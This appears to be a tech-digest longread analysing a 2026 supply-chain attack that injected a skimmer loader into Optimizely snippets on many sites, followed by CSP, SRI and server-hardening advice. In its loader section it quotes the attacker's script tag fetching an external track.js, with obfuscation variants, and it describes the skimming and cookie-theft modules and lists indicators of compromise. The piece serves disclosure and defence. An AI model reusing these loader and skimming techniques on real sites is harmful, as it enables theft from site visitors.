A Third-Party Script Is Your Production Code: Breaking Down the Optimizely Attack and How to Defend Your FrontendLongread · digest for November 26
Isometric diagram of frontend protection against third-party script supply chain attacks with a CSP barrier
Longread7 sections≈ 22 min

A Third-Party Script Is Your Production Code: Breaking Down the Optimizely Attack and How to Defend Your Frontend

On the afternoon of November 16, 2026, at 15:06 UTC, the Threat Intelligence system at Report URI triggered an alert from client-side Content Security Policy reports. A major company's website had suddenly made a request to an unknown domain. Researcher Scott Helme opened Zoom's homepage in Chrome DevTools and saw a sight that makes any frontend developer's blood run cold. Right below the legitimate <script src="https://cdn.optimizely.com/js/..."> tag sat an unknown loader: https://1688360.cc/track.js. The same thing was happening in neighboring browser tabs on HSBC Australia, SCHEELS, and Vodafone Australia. Soon the list grew to 178 organizations, including BBC, CNN, Fox News, NPR, GitLab, Salesforce, IKEA, ASOS, Equifax, Air France-KLM, Ledger, and Peacock.

None of these sites were breached directly. Their servers sat behind firewalls, their repositories were clean, and no CI/CD pipelines had run. The malicious JavaScript arrived straight from the official CDN of the Optimizely Web Experimentation A/B testing platform, served with Optimizely's own valid TLS certificate.

It's a familiar story for any product team. You run your own code through pull requests, linters, automated tests, and code reviews. Then you add <script src="https://vendor-cdn/..."> in five minutes because marketing asked for it. After that, someone else's script runs on every page of your site for years, including user dashboards and checkout forms. As long as the vendor stays safe, everything looks harmless. Then a day like November 16 happens.

Nineteen Hours on Someone Else's CDN: How the Attack Unfolded

Let's trace the events using the Report URI timeline (times are in UTC, with Moscow Time alongside for reference). Urlscan captured the last clean snapshot of Optimizely's snippet on the BBC website at 02:21. Just two hours later, at 04:21 (07:21 MSK), that same snippet on the BBC began loading an external file from webshell.lol. At 05:23, the attacker registered the main command-and-control domain 1688360.cc, and by 08:28, 1688360.cc/track.js was already running on bbc.com.

From there, the attack scaled up fast. At 13:43 (16:43 MSK), a payment card skimmer was added to track.js. At 15:06 (18:06 MSK), Report URI's sensors spotted the anomaly, kicking off the public investigation. Between 19:24 and 19:59, researchers scanned 1,611 Optimizely snippets and found 186 infected ones. The final count later reached 188 snippets across 178 organizations.

Mass cleanup ran from roughly 20:40 to 21:10. By 21:52, only one infected snippet out of 188 remained live. By 23:11 (02:11 MSK on November 17), Report URI confirmed that all checked files were clean. Roughly nineteen hours passed from the first injection to full cleanup. Overnight on November 17, registrars placed 1688360.cc (at 00:37 UTC) and webshell.lol (at 03:37 UTC) on clientHold, while helper domains eil786npto9u5bq.icu and 5vobauua3ojpklx.icu stopped resolving and responding. At 01:02 UTC, Optimizely first acknowledged the incident on its status page. Between 04:11 and 05:39, the attacker managed to withdraw cryptocurrency from the collected wallets.

Optimizely's official security advisory was updated on November 18–19. According to the company, the attacker found a vulnerability in the Web Experimentation account signup flow, impersonated users of target accounts, and injected arbitrary JavaScript into their projects. Optimizely stated that no passwords were leaked, other products (including Feature Experimentation) were unaffected, fewer than 5% of customers were impacted, and the hole was closed "within three hours of detection."

Here, the timelines noticeably diverge. Optimizely hasn't disclosed technical details of the vulnerability, hasn't filed a CVE, and hasn't named the exact hour it noticed the attack. As a result, the three-hour claim and the roughly 19-hour infection window (other reports cite "around 17 hours" or "4 a.m. to 9 p.m. UTC" depending on what counts as the end) don't quite line up yet. The scale is also unclear: 178 organizations is only a lower bound from the 1,611 snippets Report URI managed to scan, and "less than 5%" says nothing about the absolute number without knowing the total customer base.

Moreover, Optimizely wasn't the only target. Between November 13 and 16, the same attacker pushed a loader through scripts from Kissmetrics, StorifyMe, and Minute Media (those sites aren't in the 178 count). Also, don't confuse this case with a separate Optimizely incident on November 10–12: back then, an attacker injected a script into two sites via an old Configured Commerce build server, and the company says the two events aren't related.

How the projectJS Snippet Works and Three Ways to Hide a Loader

To understand why standard network checks stayed silent, let's look under the hood of the snippet itself. Optimizely Web Experimentation loads with a single line in <head>:

<!-- Standard A/B experiment snippet integration on a client site -->
<script src="https://cdn.optimizely.com/js/6395285578973184.js"></script>

Inside this file live the Optimizely engine, settings for active experiments, and an optional Project JavaScript (projectJS) field. It's designed as a convenience for teams: you write custom JavaScript in the web dashboard, and the platform bundles it straight into the snippet so it runs on every page of your site.

The attacker injected the malicious block right into projectJS. There was no CDN cache poisoning here. The cdn.optimizely.com servers faithfully compiled the file from project settings and served it with a genuine Optimizely certificate. In fact, the malware even landed in Optimizely's own snippets on www.optimizely.com and login.optimizely.com. Smartsheet's snippet was cleaned once, only to be re-infected right away because the attacker's old project access hadn't been fully revoked yet.

Screenshot of Chrome DevTools on zoom.com from the Report URI investigation: a malicious script 1688360.cc/track.js is loaded right next to the legitimate cdn.optimizely.com snippet (Source: Report URI)

Researchers saw three loader variants inside projectJS, and that evolution shows how attackers bypass surface-level defenses:

  • a direct <script src="https://1688360.cc/track.js" async> tag appended to the DOM right after the snippet loaded;
  • the same URL hidden in base64 and decoded on the fly via atob(), so simple text searches for the domain in project source found nothing;
  • a full inline copy of the payload inside projectJS, executed via eval() if the browser blocked the external domain.

Another common trap is self-hosting through a proxy. Scheels and Vodafone Australia didn't pull the script directly from cdn.optimizely.com; they served it from their own domains. That sounds safe until you check the config: their servers simply proxied the live file from Optimizely. The moment the project updated in the vendor's dashboard, their own domains dutifully served the exact same infected JavaScript.

What track.js Did in the Browser and Why Damage Figures Are Deceptive

In a single day, the payload was rebuilt 26 times. The script's author was clearly watching the response and tweaking the code on the fly. Inside track.js, four independent modules ran at the same time, each targeting a different class of data.

The first module hunted for cryptocurrency. It intercepted and replaced wallet addresses across nine networks (including BTC, ETH/EVM, TRON, SOL, TON, LTC, BCH, and DOGE) with checksum validation so the fake address looked valid. The swap worked everywhere: in DOM text, form fields, links, the clipboard on copy, and even outgoing requests.

Conceptual diagram of filtering and intercepting hidden network modules in the browser

The second module acted as a classic card skimmer. It scanned page forms and outgoing POST requests for card numbers (checking them with the Luhn algorithm to avoid junk), expiration dates, and CVV codes, then quietly sent the stolen data via navigator.sendBeacon to card.php and hit.php on 1688360.cc. The only thing it couldn't reach was payment fields inside cross-origin iframe elements from providers like Stripe and Adyen. There, the browser strictly blocks access from the parent page, whereas custom card fields hosted directly on a victim's site were wide open.

The third module grabbed anything left lying around in the session: it read document.cookie (every cookie missing the HttpOnly flag) and took screenshots of open pages using the html2canvas library.

The fourth module targeted mobile users. It inserted a hidden iframe containing iOS exploit kits: Coruna for iOS 13–17 (its loader matched an October sample from another campaign byte for byte) and DarkSword for iOS 18.x, while for iOS 26 it only collected a device fingerprint. Judging by comments inside the exploit kit itself, iOS 18.7.3+ and 26.3+ are already patched. Owners of older iPhones on iOS 18.6 and below might have noticed an odd symptom: infected sites kept reloading every 60 seconds to re-run the exploit.

Estimating the total damage is trickier than early headlines suggest. On the evening of November 16 at 19:25 UTC, the attacker's crypto wallets held about $7,040. In Report URI's November 17 update (09:17 UTC), the breakdown was: 0.08528 BTC ($5,489 across five payments), 17.02 LTC ($760), 662.9 USDT and 183.7 TRX ($719), 0.0553 ETH ($101), and 82 USDT on BSC ($82). Other tallies showed slightly different BTC numbers (such as 0.08298 BTC) simply due to when the blockchain snapshot was taken. Meanwhile, the TRON address TMLQvDvpgSyx94maptc3TxvmCVtT5qHVup had already appeared in March and on November 3, 2026, so some of its funds may have come from earlier campaigns. As for how many payment cards, session cookies, and iPhones were compromised, there's no way to count that from the outside.

Why A/B Scripts Are Ideal Targets and Where SRI Breaks Down

A/B testing platforms and tag managers (like Google Tag Manager) share an architectural trait: by design, they have to be able to do everything. They rewrite the DOM, swap buttons and copy, attach event listeners, load extra scripts, send telemetry, and sit on every page. To the browser, there is no boundary between "our code" and a "marketing snippet." Any <script src> runs in the same origin with full access to the DOM, input fields, the clipboard, non-HttpOnly cookies, and fetch calls.

Anyone who gains write access to a vendor's dashboard automatically gains arbitrary code execution in your production environment. That's not a browser bug; it's how the web works. On large products, the contrast is striking: a three-line patch from your team goes through a pull request, two peer reviews, automated tests, and scheduled deployment. Yet a change in a third-party dashboard goes live on every page with one click, often from an account outside engineering and without corporate SSO.

The choice is simple. You can either say "we know what code runs on our site" or "we don't." Users don't care whether someone breached your server or your vendor's dashboard. If a card number gets stolen on your checkout page, you're the one dealing with the incident.

A frontend engineer's first instinct is usually: "Let's add Subresource Integrity (SRI) with a file hash in the integrity attribute!" For a static library like lib@4.2.1.min.js, that's bulletproof: if the file changes by one byte, the browser refuses to run it. But for A/B snippets and tag managers, SRI breaks against their very nature. The file cdn.optimizely.com/js/<id>.js is rebuilt every time someone publishes or pauses an experiment in the dashboard. Hardcode a hash in HTML, and your site stops loading the snippet the minute marketing changes a banner color. There's simply no fixed reference for dynamic code.

CSP Audit of the Victims and Two Traps: strict-dynamic and unsafe-eval

The most practical part of Report URI's investigation was checking the Content Security Policy headers of the victims themselves. Researchers scanned 256 hosts and compiled results for 159 affected organizations.

How CSP Performed Across 159 Affected Organizations (Report URI Audit)

159organizations

The chart is sobering. Nearly half of the major brands had no CSP header at all. Another third had a policy on paper, but it allowed both loading the external track.js and sending stolen data out. A small group got half lucky: the malware loaded and could swap crypto addresses in the browser, but a strict connect-src cut off exfiltration of cards and cookies to the attacker's server. Only a small fraction stopped the payload completely.

Why so few? Every victim had to allow cdn.optimizely.com in their policy—otherwise the snippet wouldn't run. From there, two classic traps in the script-src directive tripped up even strong security teams.

The first trap is 'strict-dynamic'. In standard XSS defense, it's a great mechanism: the browser trusts a script with a valid one-time nonce (or hash) and automatically passes that trust to any script it creates dynamically in the DOM. However, as the MDN spec explicitly notes, host allowlists in script-src stop working when 'strict-dynamic' is active. In the Optimizely attack, the trusted snippet itself created the new <script src="https://1688360.cc/track.js"> tag, so the browser happily allowed it and ignored the unknown domain. Ironically, Optimizely's official CSP documentation shows 'nonce-[your-nonce-value]' 'strict-dynamic' in its basic script-src example.

The second trap is 'unsafe-eval', which lets code run from strings via eval() and new Function(). According to Report URI, this is how HSBC got hit: its CSP cleanly blocked both loading 1688360.cc/track.js and sending data out, yet it allowed 'unsafe-eval'. As a result, the third loader variant kicked in and ran the inline payload through eval(). Optimizely's basic CSP guide doesn't even require 'unsafe-eval'—it's only needed for specific features like JavaScript-based audience conditions—but many teams leave it enabled "just in case."

The rule is straightforward: split your policies by page type. On pages without third-party loaders (login, account settings, user dashboard), use a nonce and 'strict-dynamic'. In Express, you can generate a fresh one-time nonce on every HTTP response right in middleware:

import crypto from "node:crypto";

app.use((req, res, next) => {
  // Generate a new random nonce for each HTTP response
  const nonce = crypto.randomBytes(16).toString("base64");
  // Pass the nonce to the template for <script nonce="...">
  res.locals.cspNonce = nonce;

  const csp = [
    `script-src 'nonce-${nonce}' 'strict-dynamic'`,
    "object-src 'none'",
    "base-uri 'none'",
    "connect-src 'self' https://api.example.ru",
    "frame-src https://pay.example-psp.com",
    "report-to csp-endpoint",
  ].join("; ");

  res.setHeader("Content-Security-Policy", csp);
  res.setHeader(
    "Reporting-Endpoints",
    'csp-endpoint="https://csp-reports.example.ru/report"'
  );
  next();
});

On clean pages, this header blocks XSS, stops unauthorized iframes, and strictly limits which domains fetch and sendBeacon can talk to via connect-src.

On pages that still run an A/B snippet or tag manager, drop 'strict-dynamic' and 'unsafe-eval' and switch to a short, explicit host allowlist (line breaks below are for readability; in a real HTTP header, everything goes on one line):

# Explicit allowlist for pages with a third-party A/B snippet
Content-Security-Policy:
  script-src 'self' 'nonce-RANDOM' https://cdn.optimizely.com;
  connect-src 'self' https://logx.optimizely.com;
  frame-src https://pay.example-psp.com;
  object-src 'none';
  base-uri 'none';
  report-to csp-endpoint

Check the exact host list against your vendor's docs and test it thoroughly before enforcing blocks. Keep one honest limitation in mind: a strict allowlist stops external track.js loads and blocks exfiltration to rogue domains, but code already baked inside the legitimate snippet can still modify the DOM and swap crypto addresses on screen.

Visibility, Static Assets, and Isolation: Report-Only, SRI, Nginx, iframes, and Trusted Types

Rolling out a strict CSP on a legacy project all at once will likely break half your widgets and analytics. Start with visibility instead of blocking by using Content-Security-Policy-Report-Only. In this mode, the browser blocks nothing, yet sends a JSON report to your endpoint on every violation. That's the exact mechanism Report URI used to catch the November 16 attack.

Architectural blueprint of CSP Report-Only mode with security violation telemetry

# Header specifying the report receiver endpoint
Reporting-Endpoints: csp-endpoint="https://csp-reports.example.ru/report"

# Observation mode: breaks nothing, reports unknown domains
Content-Security-Policy-Report-Only:
  script-src 'self' https://cdn.optimizely.com;
  connect-src 'self' https://logx.optimizely.com;
  report-uri https://csp-reports.example.ru/report;
  report-to csp-endpoint

Both directives (report-uri and report-to) are here for a reason. According to MDN documentation for report-to, the newer directive reached Baseline 2026 Newly available status only in March 2026. Modern browsers use report-to and ignore the deprecated report-uri, while older ones fall back to report-uri. One more detail: <meta http-equiv="Content-Security-Policy"> doesn't support Report-Only or report-to, so always send your policy as an HTTP header. Also set up real-time alerts for on-call engineers whenever a new domain shows up in script-src or connect-src. As ZeroFox's Peter Lowe noted, this attack ran from morning to evening on a single day—a Friday weekly digest wouldn't have saved anyone.

Next, lock down all unchanging external libraries. For any pinned script on a third-party CDN, add Subresource Integrity (SRI) and don't forget crossorigin="anonymous": without CORS, the browser can't verify the hash of a cross-origin resource.

<!-- Integrity check for a static library on an external CDN -->
<script
  src="https://cdn.example.com/lib@4.2.1/lib.min.js"
  integrity="sha384-FILE_HASH"
  crossorigin="anonymous"></script>

You can compute the sha384 hash (SRI also supports sha256 and sha512) with one OpenSSL command in your terminal:

# Generate a base64 SRI hash for the integrity attribute
openssl dgst -sha384 -binary lib.min.js | openssl base64 -A

If you don't want to depend on a third-party CDN for libraries at all, host them on your own server. Just serve a versioned static snapshot updated via pull requests with diffs, rather than a transparent proxy_pass to the vendor's live file (otherwise you repeat the Scheels and Vodafone Australia mistake). In Nginx, it looks like this:

# Correct: serve a reviewed static snapshot with the version in the filename
location ^~ /vendor/ {
  root /var/www/static; # /var/www/static/vendor/lib-4.2.1.min.js
  add_header Cache-Control "public, max-age=31536000, immutable" always;
  add_header X-Content-Type-Options "nosniff" always;
  try_files $uri =404;
}

# Mistake: proxying a live vendor file does not protect against tampering
# location /js/ { proxy_pass https://cdn.vendor.example/js/; }

Watch out for a common Nginx trap: any add_header inside a location block silently drops all add_header directives defined above at the server or http level. Put your shared security headers (including CSP) into a separate include file and load it inside location. Don't generate a nonce in Nginx either—your backend should issue a fresh one per response, and you should verify the headers right away with curl -sI or the DevTools Network tab.

Now for the most sensitive areas: payments and sessions. First, strip A/B scripts and tag managers from login, account, and checkout pages. They rarely belong there. Second, move card number and CVV inputs into a cross-origin iframe from your payment provider (hosted fields from Stripe, Adyen, or similar). A script on the parent page physically cannot read fields inside an iframe from another origin. Always set HttpOnly, Secure, and SameSite flags on session cookies so third-party JavaScript can't grab them via document.cookie.

Two Config Traps: Nginx add_header and iframe sandbox

If you isolate your own widgets with the sandbox attribute on <iframe>, never combine allow-scripts and allow-same-origin for a same-origin document. Per MDN, that iframe can remove its own sandbox attribute and break out of isolation. And in Nginx, always check response headers with curl -sI after editing a location block so add_header doesn't accidentally wipe out your CSP.

Another tool is the Trusted Types API, which also reached Baseline 2026 Newly available status in February 2026. It blocks passing raw strings into dangerous DOM sinks like innerHTML, eval, or script.src—the browser throws a TypeError unless the string goes through your sanitization policy:

# Enable strict Trusted Types checks for scripts and DOM sinks
Content-Security-Policy:
  require-trusted-types-for 'script';
  trusted-types app-policy

Trusted Types is great against DOM XSS, but it's not ready to be your primary defense against compromised A/B scripts. Experimentation tools constantly rewrite markup via innerHTML by design. To keep them from crashing, you end up opening a broad policy that malicious code can slip through as well. There's also no confirmed data yet on how the Optimizely Web snippet behaves under strict Trusted Types.

PCI DSS, Vendor Hygiene, Server-Side A/B Tests, and Lessons from Past Attacks

On payment pages, controlling client-side scripts is now a mandatory security standard. On March 31, 2025, requirements 6.4.3 and 11.6.1 of PCI DSS v4.0.1 took effect. Requirement 6.4.3 mandates an inventory of every script on a payment page with written justification for why each is needed, authorization confirmation, and integrity checks. Requirement 11.6.1 requires a mechanism running at least weekly (or more often based on risk) that detects unauthorized changes to scripts and security headers exactly as the user's browser receives them.

There is an important legal nuance from the PCI SSC January SAQ A update. In early 2025, the PCI Council removed 6.4.3, 11.6.1, and 12.3.1 from the SAQ A questionnaire itself (for merchants who fully outsource payments to a third-party provider), but added an Eligibility Criterion: the company must confirm its site is protected against script attacks that could affect the payment system. For SAQ A-EP, SAQ D, and full RoC audits, both requirements remain mandatory as written. The key phrase is "as received by the browser": the <script> tag in your Git repo might stay untouched for years, while a file on an external CDN can be swapped in a second. At minimum, run a scheduled synthetic script that loads critical pages like a real browser, hashes loaded resources, and alerts on any new hash or domain.

Don't forget vendor account hygiene either. Even though this specific incident wasn't caused by a stolen password, an A/B dashboard equals production access. Enable corporate SSO and MFA, restrict Project JavaScript publishing rights to a tiny group, stream audit logs to your SIEM, rotate API tokens regularly, and revoke access promptly when employees leave. If your team used Optimizely Web Experimentation, check Project JavaScript and all experiment code for indicators of compromise from this attack (1688360.cc, webshell.lol, atob(, window._k7, window.__k7b, and data-channel-code="02111110"), and reissue tokens and reset sessions.

The most reliable way to eliminate this entire class of risk is to stop running experiment code in the browser altogether. Server-side A/B tests and feature flags (such as Optimizely Feature Experimentation, which wasn't affected, LaunchDarkly, Unleash, or your own backend/edge routing) pick the variant on the server. The client only gets regular HTML from your reviewed release. The trade-off is clear: marketing can't recolor a button without engineering. In return, no third-party skimmer lands on your site on a Friday night.

History keeps repeating the same pattern. In February 2024, the Polyfill.io domain and GitHub account changed hands, and by June, Sansec researchers found cdn.polyfill.io serving malware to mobile users across more than 100,000 sites. In 2018, attackers used stolen Citrix credentials to breach British Airways and tampered with JavaScript on britishairways.com from June 22 to September 5, leaking data on 429,612 customers and triggering a £20 million ICO fine in 2020. With Optimizely, the blast radius was even wider: a single entry point on the vendor side hit 178 organizations at once.

Action Plan for Frontend Engineers and Teams

  • Build an inventory of all third-party scripts: who added each one, why it is needed, and which URLs load it.
  • Remove unused snippets; strip A/B tools and tag managers from login, account, and checkout pages.
  • Enable Content-Security-Policy-Report-Only with report-to and report-uri via HTTP header and wire up real-time on-call alerts.
  • Narrow connect-src to the minimum required hosts and remove 'unsafe-eval' wherever possible.
  • Use 'strict-dynamic' only on pages without third-party loaders; set an explicit allowlist on pages with A/B scripts.
  • Add SRI (integrity + crossorigin="anonymous") to static external libraries, and serve versioned snapshots instead of proxy_pass when self-hosting.
  • Move payment card fields into a payment provider's cross-origin iframe (hosted fields).
  • Verify that session cookies use HttpOnly, Secure, and SameSite flags.
  • Lock down vendor accounts: SSO, MFA, minimal JS publishing roles, audit log export to SIEM, and API token rotation.
  • Set up regular synthetic monitoring of scripts and headers on payment pages per PCI DSS 11.6.1.
  • Evaluate moving client-side A/B tests to server-side feature flags.

If you personally visited major international sites or paid for purchases from an iPhone on November 16, it's worth doing a quick personal check too. Update iOS to the latest version (the exploits used here are patched in 18.7.3+ and 26.3+), review your bank statement for that day, turn on push alerts for charges, use a capped virtual card for online payments, and always double-check the full crypto wallet address after pasting from the clipboard.

Want a deep diveVotes help us choose what to break down in detail. This material has 0 votes.
Sources · 11